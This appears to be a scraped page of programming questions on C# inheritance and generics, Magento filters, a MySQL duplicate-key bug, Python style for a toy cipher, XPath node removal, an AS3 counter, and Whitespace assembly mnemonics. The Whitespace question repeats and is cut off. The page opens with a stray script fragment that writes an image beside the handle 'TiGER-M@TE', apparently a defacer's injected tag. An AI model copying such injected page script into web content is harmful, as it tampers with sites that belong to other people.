5px">');}</script><i onclick="details()">TiGER-M@TE</i></font></a></span><br/><br/><script>var l1n3='<img src="data:image/gif;base64,R0lGODlhqAABAOYAAAMDA3d4eAAAAAICAfLy8l5dXaWlpSQlJBwcHBQVFBISEQ0NDbu7u/v8/EJBQePj4/3+/T4+PtjX2Do7OlZWVyEiIjc3N09PT4OEhIB/f/r6+sjIyMTExPb29rS0tHx7fOvr64+Pj4eHh56dnZqZmvT09GVlZejp6dXU1aGhoeXm5khISJKTk93e3hkZGQcHB0RFRBcXF+7u7isqKi4uLmxtbLe3t6ysrXR0dTQ0M87Ozw8QEMvLy6ipqQUFBUxMTAkJCdHS0vDw73BwcQsLCycnJ/j4+JeXl8HBwmFhYVNSU+Dg4Glpadvb2jEwML6+vrCvsB8fH4uLi1pZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACoAAEAAAewgBANGkYdJQRCMiAnKg9LLU0SKEE6PBscSE8MNh5QNz0GKSMkRywhUiIYGR8BOEM1TCZJBVMUShc/KzAOERMWOU40M0UHFVEILjEJCjsLREAvPgADAgIDAD4vQEQLOwoJMS4IURUHRTM0TjkWExEOMCs/F0oUUwVJJkw1QzgBHxkYREgJweIIiREpDPS4AcWDDQZPkHDYwENHEBQSmrRY8kDFCRAyhBAo0cGIhgYQAgEAOw==" />'; document.write(l1n3+l1n3);`

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  • C#: Inheritence, Overriding, and Hiding

    - by Rosarch
    I'm having difficulty with an architectural decision for my C# XNA game. The basic entity in the world, such as a tree, zombie, or the player, is represented as a GameObject. Each GameObject is composed of at least a GameObjectController, GameObjectModel, and GameObjectView. These three are enough for simple entities, like inanimate trees or rocks. However, as I try to keep the functionality as factored out as possible, the inheritance begins to feel unwieldy. Syntactically, I'm not even sure how best to accomplish my goals. Here is the GameObjectController: public class GameObjectController { protected GameObjectModel model; protected GameObjectView view; public GameObjectController(GameObjectManager gameObjectManager) { this.gameObjectManager = gameObjectManager; model = new GameObjectModel(this); view = new GameObjectView(this); } public GameObjectManager GameObjectManager { get { return gameObjectManager; } } public virtual GameObjectView View { get { return view; } } public virtual GameObjectModel Model { get { return model; } } public virtual void Update(long tick) { } } I want to specify that each subclass of GameObjectController will have accessible at least a GameObjectView and GameObjectModel. If subclasses are fine using those classes, but perhaps are overriding for a more sophisticated Update() method, I don't want them to have to duplicate the code to produce those dependencies. So, the GameObjectController constructor sets those objects up. However, some objects do want to override the model and view. This is where the trouble comes in. Some objects need to fight, so they are CombatantGameObjects: public class CombatantGameObject : GameObjectController { protected new readonly CombatantGameModel model; public new virtual CombatantGameModel Model { get { return model; } } protected readonly CombatEngine combatEngine; public CombatantGameObject(GameObjectManager gameObjectManager, CombatEngine combatEngine) : base(gameObjectManager) { model = new CombatantGameModel(this); this.combatEngine = combatEngine; } public override void Update(long tick) { if (model.Health <= 0) { gameObjectManager.RemoveFromWorld(this); } base.Update(tick); } } Still pretty simple. Is my use of new to hide instance variables correct? Note that I'm assigning CombatantObjectController.model here, even though GameObjectController.Model was already set. And, combatants don't need any special view functionality, so they leave GameObjectController.View alone. Then I get down to the PlayerController, at which a bug is found. public class PlayerController : CombatantGameObject { private readonly IInputReader inputReader; private new readonly PlayerModel model; public new PlayerModel Model { get { return model; } } private float lastInventoryIndexAt; private float lastThrowAt; public PlayerController(GameObjectManager gameObjectManager, IInputReader inputReader, CombatEngine combatEngine) : base(gameObjectManager, combatEngine) { this.inputReader = inputReader; model = new PlayerModel(this); Model.Health = Constants.PLAYER_HEALTH; } public override void Update(long tick) { if (Model.Health <= 0) { gameObjectManager.RemoveFromWorld(this); for (int i = 0; i < 10; i++) { Debug.WriteLine("YOU DEAD SON!!!"); } return; } UpdateFromInput(tick); // .... } } The first time that this line is executed, I get a null reference exception: model.Body.ApplyImpulse(movementImpulse, model.Position); model.Position looks at model.Body, which is null. This is a function that initializes GameObjects before they are deployed into the world: public void Initialize(GameObjectController controller, IDictionary<string, string> data, WorldState worldState) { controller.View.read(data); controller.View.createSpriteAnimations(data, _assets); controller.Model.read(data); SetUpPhysics(controller, worldState, controller.Model.BoundingCircleRadius, Single.Parse(data["x"]), Single.Parse(data["y"]), bool.Parse(data["isBullet"])); } Every object is passed as a GameObjectController. Does that mean that if the object is really a PlayerController, controller.Model will refer to the base's GameObjectModel and not the PlayerController's overriden PlayerObjectModel?

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  • How can I reset addAttributeToFilter in Magento searches

    - by Bobby
    I'm having problems getting the addAttributeToFilter function within a loop to behave in Magento. I have test data in my store to support searches for all of the following data; $attributeSelections=array( array('size' => 44, 'color' => 67, 'manufacturer' => 17), array('size' => 43, 'color' => 69, 'manufacturer' => 17), array('size' => 42, 'color' => 70, 'manufacturer' => 17)); And my code to search through these combinations; foreach ($attributeSelections as $selection) { $searcher = Mage::getSingleton('catalogsearch/advanced')->getProductCollection(); foreach ($selection as $k => $v) { $searcher->addAttributeToFilter("$k", array('eq' => "$v")); echo "$k: $v<br />"; } $result=$searcher->getData(); print_r($result); } This loop gives the following results (slightly sanitised for veiwing pleasure); size: 44 color: 67 manufacturer: 17 Array ( [0] => Array ( [entity_id] => 2965 [entity_type_id] => 4 [attribute_set_id] => 28 [type_id] => simple [sku] => 1006-0001 [size] => 44 [color] => 67 [manufacturer] => 17 ) ) size: 43 color: 69 manufacturer: 17 Array ( [0] => Array ( [entity_id] => 2965 [entity_type_id] => 4 [attribute_set_id] => 28 [type_id] => simple [sku] => 1006-0001 [size] => 44 [color] => 67 [manufacturer] => 17 ) ) size: 42 color: 70 manufacturer: 17 Array ( [0] => Array ( [entity_id] => 2965 [entity_type_id] => 4 [attribute_set_id] => 28 [type_id] => simple [sku] => 1006-0001 [size] => 44 [color] => 67 [manufacturer] => 17 ) ) So my loop is function and generating the search. However, the values fed into addAttributeToFilter on the first itteration of the loop seem to remain stored for each search. I've tried clearing my search object, for example, unset($searcher) and unset($result). I've also tried magento functions such as getNewEmptyItem(), resetData(), distinct() and clear() but none have the desired effect. Basically what I am trying to do is check for duplicate products before my script attempts to programatically create a product with these attribute combinations. The array of attribute selections may be of varying sizes hence the need for a loop. I would be very appreiciative if anyone might be able to shed some light on my problem.

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  • Need help to debug application using .Net and MySQL

    - by Tim Murphy
    What advice can you give me on how to track down a bug I have while inserting data into MySQL database with .Net? The error message is: MySql.Data.MySqlClient.MySqlException: Duplicate entry '26012' for key 'StockNumber_Number_UNIQUE' Reviewing of the log proves that StockNumber_Number of 26012 has not been inserted yet. Products in use. Visual Studio 2008. mysql.data.dll 6.0.4.0. Windows 7 Ultimate 64 bit and Windows 2003 32 bit. Custom built ORM framework (have source code). Importing data from Access 2003 database. The code works fine for 3000 - 5000 imports. The record being imported that causes the problem in a full run works fine if just importing by itself. I've also seen the error on other records if I sort the data to be imported a different way. Have tried import with and without transactions. Have logged the hell out of the system. The SQL command to create the table: CREATE TABLE `RareItems_RareItems` ( `RareItemKey` CHAR(36) NOT NULL PRIMARY KEY, `StockNumber_Text` VARCHAR(7) NOT NULL, `StockNumber_Number` INT NOT NULL AUTO_INCREMENT, UNIQUE INDEX `StockNumber_Number_UNIQUE` (`StockNumber_Number` ASC), `OurPercentage` NUMERIC , `SellPrice` NUMERIC(19, 2) , `Author` VARCHAR(250) , `CatchWord` VARCHAR(250) , `Title` TEXT , `Publisher` VARCHAR(250) , `InternalNote` VARCHAR(250) , `DateOfPublishing` VARCHAR(250) , `ExternalNote` LONGTEXT , `Description` LONGTEXT , `Scrap` LONGTEXT , `SuppressionKey` CHAR(36) NOT NULL, `TypeKey` CHAR(36) NOT NULL, `CatalogueStatusKey` CHAR(36) NOT NULL, `CatalogueRevisedDate` DATETIME , `CatalogueRevisedByKey` CHAR(36) NOT NULL, `CatalogueToBeRevisedByKey` CHAR(36) NOT NULL, `DontInsure` BIT NOT NULL, `ExtraCosts` NUMERIC(19, 2) , `IsWebReady` BIT NOT NULL, `LocationKey` CHAR(36) NOT NULL, `LanguageKey` CHAR(36) NOT NULL, `CatalogueDescription` VARCHAR(250) , `PlacePublished` VARCHAR(250) , `ToDo` LONGTEXT , `Headline` VARCHAR(250) , `DepartmentKey` CHAR(36) NOT NULL, `Temp1` INT , `Temp2` INT , `Temp3` VARCHAR(250) , `Temp4` VARCHAR(250) , `InternetStatusKey` CHAR(36) NOT NULL, `InternetStatusInfo` LONGTEXT , `PurchaseKey` CHAR(36) NOT NULL, `ConsignmentKey` CHAR(36) , `IsSold` BIT NOT NULL, `RowCreated` DATETIME NOT NULL, `RowModified` DATETIME NOT NULL ); The SQL command and parameters to insert the record: INSERT INTO `RareItems_RareItems` (`RareItemKey`, `StockNumber_Text`, `StockNumber_Number`, `OurPercentage`, `SellPrice`, `Author`, `CatchWord`, `Title`, `Publisher`, `InternalNote`, `DateOfPublishing`, `ExternalNote`, `Description`, `Scrap`, `SuppressionKey`, `TypeKey`, `CatalogueStatusKey`, `CatalogueRevisedDate`, `CatalogueRevisedByKey`, `CatalogueToBeRevisedByKey`, `DontInsure`, `ExtraCosts`, `IsWebReady`, `LocationKey`, `LanguageKey`, `CatalogueDescription`, `PlacePublished`, `ToDo`, `Headline`, `DepartmentKey`, `Temp1`, `Temp2`, `Temp3`, `Temp4`, `InternetStatusKey`, `InternetStatusInfo`, `PurchaseKey`, `ConsignmentKey`, `IsSold`, `RowCreated`, `RowModified`) VALUES (@RareItemKey, @StockNumber_Text, @StockNumber_Number, @OurPercentage, @SellPrice, @Author, @CatchWord, @Title, @Publisher, @InternalNote, @DateOfPublishing, @ExternalNote, @Description, @Scrap, @SuppressionKey, @TypeKey, @CatalogueStatusKey, @CatalogueRevisedDate, @CatalogueRevisedByKey, @CatalogueToBeRevisedByKey, @DontInsure, @ExtraCosts, @IsWebReady, @LocationKey, @LanguageKey, @CatalogueDescription, @PlacePublished, @ToDo, @Headline, @DepartmentKey, @Temp1, @Temp2, @Temp3, @Temp4, @InternetStatusKey, @InternetStatusInfo, @PurchaseKey, @ConsignmentKey, @IsSold, @RowCreated, @RowModified) @RareItemKey = 0b625bd6-776d-43d6-9405-e97159d172a6 @StockNumber_Text = 199305 @StockNumber_Number = 26012 @OurPercentage = 22.5 @SellPrice = 1250 @Author = SPARRMAN, Anders. @CatchWord = COOK: SECOND VOYAGE @Title = A Voyage Round the World with Captain James Cook in H.M.S. Resolution… Introduction and notes by Owen Rutter, wood engravings by Peter Barker-Mill. @Publisher = @InternalNote = @DateOfPublishing = 1944 @ExternalNote = The first English translation of Sparrman’s narrative, which had originally been published in Sweden in 1802-1818, and the only complete version of his account to appear in English. The eighteenth-century translation had appeared some time before the Swedish publication of the final sections of his account. Sparrman’s observant and well-written narrative of the second voyage contains much that appears nowhere else, emphasising naturally his interests in medicine, health, and natural history.&lt;br&gt;&lt;br&gt;One of 350 numbered copies: a handsomely produced and beautifully illustrated work. @Description = Small folio, wood-engravings in the text; original olive glazed cloth, top edges gilt, a very good copy. London, Golden Cockerel Press, 1944. @Scrap = @SuppressionKey = 00000000-0000-0000-0000-000000000000 @TypeKey = 93f58155-7471-46ad-84c5-262ab9dd37e8 @CatalogueStatusKey = 00000000-0000-0000-0000-000000000003 @CatalogueRevisedDate = @CatalogueRevisedByKey = c4f6fc06-956d-44c4-b393-0d5462cbffec @CatalogueToBeRevisedByKey = 00000000-0000-0000-0000-000000000000 @DontInsure = False @ExtraCosts = @IsWebReady = False @LocationKey = 00000000-0000-0000-0000-000000000000 @LanguageKey = 00000000-0000-0000-0000-000000000000 @CatalogueDescription = @PlacePublished = Golden Cockerel Press @ToDo = @Headline = @DepartmentKey = 529578a3-9189-40de-b656-eef9039d00b8 @Temp1 = @Temp2 = @Temp3 = @Temp4 = v @InternetStatusKey = 00000000-0000-0000-0000-000000000000 @InternetStatusInfo = @PurchaseKey = 00000000-0000-0000-0000-000000000000 @ConsignmentKey = @IsSold = True @RowCreated = 8/04/2010 8:49:16 PM @RowModified = 8/04/2010 8:49:16 PM Suggestions on what is causing the error and/or how to track down what is causing the problem?

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  • Partial generic type inference possible in C#?

    - by Lasse V. Karlsen
    I am working on rewriting my fluent interface for my IoC class library, and when I refactored some code in order to share some common functionality through a base class, I hit upon a snag. Note: This is something I want to do, not something I have to do. If I have to make do with a different syntax, I will, but if anyone has an idea on how to make my code compile the way I want it, it would be most welcome. I want some extension methods to be available for a specific base-class, and these methods should be generic, with one generic type, related to an argument to the method, but the methods should also return a specific type related to the particular descendant they're invoked upon. Better with a code example than the above description methinks. Here's a simple and complete example of what doesn't work: using System; namespace ConsoleApplication16 { public class ParameterizedRegistrationBase { } public class ConcreteTypeRegistration : ParameterizedRegistrationBase { public void SomethingConcrete() { } } public class DelegateRegistration : ParameterizedRegistrationBase { public void SomethingDelegated() { } } public static class Extensions { public static ParameterizedRegistrationBase Parameter<T>( this ParameterizedRegistrationBase p, string name, T value) { return p; } } class Program { static void Main(string[] args) { ConcreteTypeRegistration ct = new ConcreteTypeRegistration(); ct .Parameter<int>("age", 20) .SomethingConcrete(); // <-- this is not available DelegateRegistration del = new DelegateRegistration(); del .Parameter<int>("age", 20) .SomethingDelegated(); // <-- neither is this } } } If you compile this, you'll get: 'ConsoleApplication16.ParameterizedRegistrationBase' does not contain a definition for 'SomethingConcrete' and no extension method 'SomethingConcrete'... 'ConsoleApplication16.ParameterizedRegistrationBase' does not contain a definition for 'SomethingDelegated' and no extension method 'SomethingDelegated'... What I want is for the extension method (Parameter<T>) to be able to be invoked on both ConcreteTypeRegistration and DelegateRegistration, and in both cases the return type should match the type the extension was invoked on. The problem is as follows: I would like to write: ct.Parameter<string>("name", "Lasse") ^------^ notice only one generic argument but also that Parameter<T> returns an object of the same type it was invoked on, which means: ct.Parameter<string>("name", "Lasse").SomethingConcrete(); ^ ^-------+-------^ | | +---------------------------------------------+ .SomethingConcrete comes from the object in "ct" which in this case is of type ConcreteTypeRegistration Is there any way I can trick the compiler into making this leap for me? If I add two generic type arguments to the Parameter method, type inference forces me to either provide both, or none, which means this: public static TReg Parameter<TReg, T>( this TReg p, string name, T value) where TReg : ParameterizedRegistrationBase gives me this: Using the generic method 'ConsoleApplication16.Extensions.Parameter<TReg,T>(TReg, string, T)' requires 2 type arguments Using the generic method 'ConsoleApplication16.Extensions.Parameter<TReg,T>(TReg, string, T)' requires 2 type arguments Which is just as bad. I can easily restructure the classes, or even make the methods non-extension-methods by introducing them into the hierarchy, but my question is if I can avoid having to duplicate the methods for the two descendants, and in some way declare them only once, for the base class. Let me rephrase that. Is there a way to change the classes in the first code example above, so that the syntax in the Main-method can be kept, without duplicating the methods in question? The code will have to be compatible with both C# 3.0 and 4.0. Edit: The reason I'd rather not leave both generic type arguments to inference is that for some services, I want to specify a parameter value for a constructor parameter that is of one type, but pass in a value that is a descendant. For the moment, matching of specified argument values and the correct constructor to call is done using both the name and the type of the argument. Let me give an example: ServiceContainerBuilder.Register<ISomeService>(r => r .From(f => f.ConcreteType<FileService>(ct => ct .Parameter<Stream>("source", new FileStream(...))))); ^--+---^ ^---+----^ | | | +- has to be a descendant of Stream | +- has to match constructor of FileService If I leave both to type inference, the parameter type will be FileStream, not Stream.

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  • Have suggestions for these assembly mnemonics?

    - by Noctis Skytower
    Greetings! Last semester in college, my teacher in the Computer Languages class taught us the esoteric language named Whitespace. In the interest of learning the language better with a very busy schedule (midterms), I wrote an interpreter and assembler in Python. An assembly language was designed to facilitate writing programs easily, and a sample program was written with the given assembly mnemonics. Now that it is summer, a new project has begun with the objective being to rewrite the interpreter and assembler for Whitespace 0.3, with further developments coming afterwards. Since there is so much extra time than before to work on its design, you are presented here with an outline that provides a revised set of mnemonics for the assembly language. This post is marked as a wiki for their discussion. Have you ever had any experience with assembly languages in the past? Were there some instructions that you thought should have been renamed to something different? Did you find yourself thinking outside the box and with a different paradigm than in which the mnemonics were named? If you can answer yes to any of those questions, you are most welcome here. Subjective answers are appreciated! Stack Manipulation (IMP: [Space]) Stack manipulation is one of the more common operations, hence the shortness of the IMP [Space]. There are four stack instructions. hold N Push the number onto the stack copy Duplicate the top item on the stack copy N Copy the nth item on the stack (given by the argument) onto the top of the stack swap Swap the top two items on the stack drop Discard the top item on the stack drop N Slide n items off the stack, keeping the top item Arithmetic (IMP: [Tab][Space]) Arithmetic commands operate on the top two items on the stack, and replace them with the result of the operation. The first item pushed is considered to be left of the operator. add Addition sub Subtraction mul Multiplication div Integer Division mod Modulo Heap Access (IMP: [Tab][Tab]) Heap access commands look at the stack to find the address of items to be stored or retrieved. To store an item, push the address then the value and run the store command. To retrieve an item, push the address and run the retrieve command, which will place the value stored in the location at the top of the stack. save Store load Retrieve Flow Control (IMP: [LF]) Flow control operations are also common. Subroutines are marked by labels, as well as the targets of conditional and unconditional jumps, by which loops can be implemented. Programs must be ended by means of [LF][LF][LF] so that the interpreter can exit cleanly. L: Mark a location in the program call L Call a subroutine goto L Jump unconditionally to a label if=0 L Jump to a label if the top of the stack is zero if<0 L Jump to a label if the top of the stack is negative return End a subroutine and transfer control back to the caller halt End the program I/O (IMP: [Tab][LF]) Finally, we need to be able to interact with the user. There are IO instructions for reading and writing numbers and individual characters. With these, string manipulation routines can be written. The read instructions take the heap address in which to store the result from the top of the stack. print chr Output the character at the top of the stack print int Output the number at the top of the stack input chr Read a character and place it in the location given by the top of the stack input int Read a number and place it in the location given by the top of the stack Question: How would you redesign, rewrite, or rename the previous mnemonics and for what reasons?

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  • Best style for Python programs: what do you suggest?

    - by Noctis Skytower
    A friend of mine wanted help learning to program, so he gave me all the programs that he wrote for his previous classes. The last program that he wrote was an encryption program, and after rewriting all his programs in Python, this is how his encryption program turned out (after adding my own requirements). #! /usr/bin/env python ################################################################################ """\ CLASS INFORMATION ----------------- Program Name: Program 11 Programmer: Stephen Chappell Instructor: Stephen Chappell for CS 999-0, Python Due Date: 17 May 2010 DOCUMENTATION ------------- This is a simple encryption program that can encode and decode messages.""" ################################################################################ import sys KEY_FILE = 'Key.txt' BACKUP = '''\ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNO\ PQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ _@/6-UC'GzaV0%5Mo9g+yNh8b">Bi=<Lx [sQn#^R.D2Xc(\ Jm!4e${lAEWud&t7]H\`}pvPw)FY,Z~?qK|3SOfk*:1;jTrI''' ################################################################################ def main(): "Run the program: loads key, runs processing loop, and saves key." encode_map, decode_map = load_key(KEY_FILE) try: run_interface_loop(encode_map, decode_map) except SystemExit: pass save_key(KEY_FILE, encode_map) def run_interface_loop(encode_map, decode_map): "Shows the menu and runs the appropriate command." print('This program handles encryption via a customizable key.') while True: print('''\ MENU ==== (1) Encode (2) Decode (3) Custom (4) Finish''') switch = get_character('Select: ', tuple('1234')) FUNC[switch](encode_map, decode_map) def get_character(prompt, choices): "Gets a valid menu option and returns it." while True: sys.stdout.write(prompt) sys.stdout.flush() line = sys.stdin.readline()[:-1] if not line: sys.exit() if line in choices: return line print(repr(line), 'is not a valid choice.') ################################################################################ def load_key(filename): "Gets the key file data and returns encoding/decoding dictionaries." plain, cypher = open_file(filename) return dict(zip(plain, cypher)), dict(zip(cypher, plain)) def open_file(filename): "Load the keys and tries to create it when not available." while True: try: with open(filename) as file: plain, cypher = file.read().split('\n') return plain, cypher except: with open(filename, 'w') as file: file.write(BACKUP) def save_key(filename, encode_map): "Dumps the map into two buffers and saves them to the key file." plain = cypher = str() for p, c in encode_map.items(): plain += p cypher += c with open(filename, 'w') as file: file.write(plain + '\n' + cypher) ################################################################################ def encode(encode_map, decode_map): "Encodes message for the user." print('Enter your message to encode (EOF when finished).') message = get_message() for char in message: sys.stdout.write(encode_map[char] if char in encode_map else char) def decode(encode_map, decode_map): "Decodes message for the user." print('Enter your message to decode (EOF when finished).') message = get_message() for char in message: sys.stdout.write(decode_map[char] if char in decode_map else char) def custom(encode_map, decode_map): "Allows user to edit the encoding/decoding dictionaries." plain, cypher = get_new_mapping() for p, c in zip(plain, cypher): encode_map[p] = c decode_map[c] = p ################################################################################ def get_message(): "Gets and returns text entered by the user (until EOF)." buffer = [] while True: line = sys.stdin.readline() if line: buffer.append(line) else: return ''.join(buffer) def get_new_mapping(): "Prompts for strings to edit encoding/decoding maps." while True: plain = get_unique_chars('What do you want to encode from?') cypher = get_unique_chars('What do you want to encode to?') if len(plain) == len(cypher): return plain, cypher print('Both lines should have the same length.') def get_unique_chars(prompt): "Gets strings that only contain unique characters." print(prompt) while True: line = input() if len(line) == len(set(line)): return line print('There were duplicate characters: please try again.') ################################################################################ # This map is used for dispatching commands in the interface loop. FUNC = {'1': encode, '2': decode, '3': custom, '4': lambda a, b: sys.exit()} ################################################################################ if __name__ == '__main__': main() For all those Python programmers out there, your help is being requested. How should the formatting (not necessarily the coding by altered to fit Python's style guide? My friend does not need to be learning things that are not correct. If you have suggestions on the code, feel free to post them to this wiki as well.

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  • Delete / Remove node from XPathNodeIterator, given an XPath

    - by RymdPung
    First of all, if someone has a different, perhaps shorter (or better), solution to the problem, it's welcome as well. I'm trying to "simply" remove (almost) duplicate elements in XSLT. There's some (metadata) nodes i don't want to include when comparing, and i couldn't figure out how do do that in XSLT so thought i'd extend it with a function removing these nodes. Like so: <xsl:for-each select="abx:removeNodes(d/df600|d/df610|d/df611|d/df630|d/df650|d/df651|d/df655, '*[@key=&quot;i1&quot; or @key=&quot;i2&quot; or key=&quot;db&quot;]')"> <xsl:if test="not(node()=preceding-sibling::*)"> blah </xsl:if> </xsl:for-each> And the extension, which doesn't work so well... (C#) public XPathNodeIterator removeNodes(XPathNodeIterator p_NodeIterator, String removeXPath) { Logger Logger = new Logger("xslt"); Logger.Log("removeNodes(removeXPath={0}):", removeXPath); foreach (XPathNavigator CurrentNode in p_NodeIterator) { Logger.Log("removeNodes(): CurrentNode.OuterXml={0}.", CurrentNode.OuterXml); foreach (XPathNavigator CurrentSubNode in CurrentNode.Select(removeXPath)) { Logger.Log("removeNodes(): CurrentSubNode.OuterXml={0}.", CurrentSubNode.OuterXml); // How do i delete this node!? //CurrentSubNode.DeleteSelf(); } } return p_NodeIterator; } My initial approach using 'CurrentSubNode.DeleteSelf();' doesn't work because it gets confused and loses its position in the XPathNavigator, causing it to only delete the first item it finds using "removeXPath". Something like a DeleteAndMoveNext() would be nice but there seems to be no such method... Example data: <df650> <df650 key="i1"> </df650> <df650 key="i2">0</df650> <df650 key="a">foo</df650> <df650 key="x">bar</df650> <df650 key="db">someDB</df650> <df650 key="id">b2</df650> <df650 key="dsname">someDS</df650> </df650> ..and then another identical node (if you ignore the meta fields; db,id,dsname). <df650> <df650 key="i1"> </df650> <df650 key="i2">0</df650> <df650 key="a">foo</df650> <df650 key="x">bar</df650> <df650 key="db">someOtherDB</df650> <df650 key="id">b2</df650> <df650 key="dsname">someOtherDS</df650> </df650> The result should be... <df650> <df650 key="i1"> </df650> <df650 key="i2">0</df650> <df650 key="a">foo</df650> <df650 key="x">bar</df650> </df650>

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  • Are their any suggestions for this new assembly language?

    - by Noctis Skytower
    Greetings! Last semester in college, my teacher in the Computer Languages class taught us the esoteric language named Whitespace. In the interest of learning the language better with a very busy schedule (midterms), I wrote an interpreter and assembler in Python. An assembly language was designed to facilitate writing programs easily, and a sample program was written with the given assembly mnemonics. Now that it is summer, a new project has begun with the objective being to rewrite the interpreter and assembler for Whitespace 0.3, with further developments coming afterwards. Since there is so much extra time than before to work on its design, you are presented here with an outline that provides a revised set of mnemonics for the assembly language. This post is marked as a wiki for their discussion. Have you ever had any experience with assembly languages in the past? Were there some instructions that you thought should have been renamed to something different? Did you find yourself thinking outside the box and with a different paradigm than in which the mnemonics were named? If you can answer yes to any of those questions, you are most welcome here. Subjective answers are appreciated! Stack Manipulation (IMP: [Space]) Stack manipulation is one of the more common operations, hence the shortness of the IMP [Space]. There are four stack instructions. hold N Push the number onto the stack copy Duplicate the top item on the stack copy N Copy the nth item on the stack (given by the argument) onto the top of the stack swap Swap the top two items on the stack drop Discard the top item on the stack drop N Slide n items off the stack, keeping the top item Arithmetic (IMP: [Tab][Space]) Arithmetic commands operate on the top two items on the stack, and replace them with the result of the operation. The first item pushed is considered to be left of the operator. add Addition sub Subtraction mul Multiplication div Integer Division mod Modulo Heap Access (IMP: [Tab][Tab]) Heap access commands look at the stack to find the address of items to be stored or retrieved. To store an item, push the address then the value and run the store command. To retrieve an item, push the address and run the retrieve command, which will place the value stored in the location at the top of the stack. save Store load Retrieve Flow Control (IMP: [LF]) Flow control operations are also common. Subroutines are marked by labels, as well as the targets of conditional and unconditional jumps, by which loops can be implemented. Programs must be ended by means of [LF][LF][LF] so that the interpreter can exit cleanly. L: Mark a location in the program call L Call a subroutine goto L Jump unconditionally to a label if=0 L Jump to a label if the top of the stack is zero if<0 L Jump to a label if the top of the stack is negative return End a subroutine and transfer control back to the caller exit End the program I/O (IMP: [Tab][LF]) Finally, we need to be able to interact with the user. There are IO instructions for reading and writing numbers and individual characters. With these, string manipulation routines can be written. The read instructions take the heap address in which to store the result from the top of the stack. print chr Output the character at the top of the stack print int Output the number at the top of the stack input chr Read a character and place it in the location given by the top of the stack input int Read a number and place it in the location given by the top of the stack Question: How would you redesign, rewrite, or rename the previous mnemonics and for what reasons?

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  • MovieClip, counter almost working AS3

    - by VideoDnd
    How do I get my counter to work? This was over my director's head. Please include explanation, and feel free to comment. CONFUSION: I'm confused about the MovieClip container in as3. public class NumbersView extends MovieClip, so that seems to be a container. That may not be the problem, but that's where I got lost. CODE http://videodnd.weebly.com/ The working version of this code is fantastic. My code bellow is an attempt at revising it. The source has been adapted from various smart people. It's a work in progress LIBRARY OBJECT 'vertical number column' Name: mc-NumberImage Class: NumberImage OUTPUT ERRORS 'When I uncomment the code" 1023: Incompatible override. NumbersView... 1021: Duplicate function definition. NumbersView... //NUMBER DOCUMENT CLASS //IMPORT import flash.display.Sprite; import flash.events.Event; import flash.utils.Timer; import flash.events.TimerEvent; import flash.display.DisplayObject; import flash.display.MovieClip; import flash.utils.Dictionary; import caurina.transitions.Tweener; //COUNTER var timer:Timer = new Timer(1000); var count:int = 0; var fcount:int = 0; timer.addEventListener(TimerEvent.TIMER, incrementCounter); timer.start(); function incrementCounter(event:TimerEvent) { count++; fcount=int(count*count/1000); } function formatCount(i:int):String { var fraction:int = i % 100; var whole:int = i / 100; return ("000000000" + i).substr(-9, 9); } //------------------------------------------------------------------------ //PROBLEM AREA function enterFrameHandler(e:Event):void { // numbers.setTime(formatCount(fcount)); } var _listItems:Array = new Array(); var previousNums:Array; const numHeight:int = 120; var NumbersView:Sprite = new Sprite(); //var numbers:NumbersView = new NumbersView; //NUMBERSVIEW // function NumbersView($n:int):void { _listItems = new Array(); previousNums = new Array(); var item:NumberImage; var offset:int = _listItems.length; for (var i:Number = 0; i < 9; i++) { item = new NumberImage(); // }//<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< //------------------------------------------------------------------------ //PUSH ARRAY addChild(item); item.x = i * item.width; _listItems.push(item); } //TWEENER 'Y SCROLLING' function setTime($number:String):void { var nums:Array = $number.split(""); for (var i:Number = 0; i < nums.length; i++) { if (nums[i] == previousNums[i]) continue; Tweener.removeTweens(_listItems[i]); var newY:int = int(nums[i]) * -numHeight; if (_listItems[i].y < 0) _listItems[i].y = numHeight; Tweener.addTween(_listItems[i], { y:newY, time:3 } ); } previousNums = nums; } D E S C R I P T I O N COUNTER: formatCount needs to get passed to Tweener STAGE: for loop, sets up children to be added to the stage NumbersView becomes item, item array adds children to stage TWEENER: advances the vertical number column every time the count fires adds and removes WHY - Learning - Benifit in simplifying the classes and putting it in one FLA

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  • Are there any suggestions for these new assembly mnemonics?

    - by Noctis Skytower
    Greetings! Last semester in college, my teacher in the Computer Languages class taught us the esoteric language named Whitespace. In the interest of learning the language better with a very busy schedule (midterms), I wrote an interpreter and assembler in Python. An assembly language was designed to facilitate writing programs easily, and a sample program was written with the given assembly mnemonics. Now that it is summer, a new project has begun with the objective being to rewrite the interpreter and assembler for Whitespace 0.3, with further developments coming afterwards. Since there is so much extra time than before to work on its design, you are presented here with an outline that provides a revised set of mnemonics for the assembly language. This post is marked as a wiki for their discussion. Have you ever had any experience with assembly languages in the past? Were there some instructions that you thought should have been renamed to something different? Did you find yourself thinking outside the box and with a different paradigm than in which the mnemonics were named? If you can answer yes to any of those questions, you are most welcome here. Subjective answers are appreciated! Stack Manipulation (IMP: [Space]) Stack manipulation is one of the more common operations, hence the shortness of the IMP [Space]. There are four stack instructions. hold N Push the number onto the stack copy Duplicate the top item on the stack copy N Copy the nth item on the stack (given by the argument) onto the top of the stack swap Swap the top two items on the stack drop Discard the top item on the stack drop N Slide n items off the stack, keeping the top item Arithmetic (IMP: [Tab][Space]) Arithmetic commands operate on the top two items on the stack, and replace them with the result of the operation. The first item pushed is considered to be left of the operator. add Addition sub Subtraction mul Multiplication div Integer Division mod Modulo Heap Access (IMP: [Tab][Tab]) Heap access commands look at the stack to find the address of items to be stored or retrieved. To store an item, push the address then the value and run the store command. To retrieve an item, push the address and run the retrieve command, which will place the value stored in the location at the top of the stack. save Store load Retrieve Flow Control (IMP: [LF]) Flow control operations are also common. Subroutines are marked by labels, as well as the targets of conditional and unconditional jumps, by which loops can be implemented. Programs must be ended by means of [LF][LF][LF] so that the interpreter can exit cleanly. L: Mark a location in the program call L Call a subroutine goto L Jump unconditionally to a label if=0 L Jump to a label if the top of the stack is zero if<0 L Jump to a label if the top of the stack is negative return End a subroutine and transfer control back to the caller halt End the program I/O (IMP: 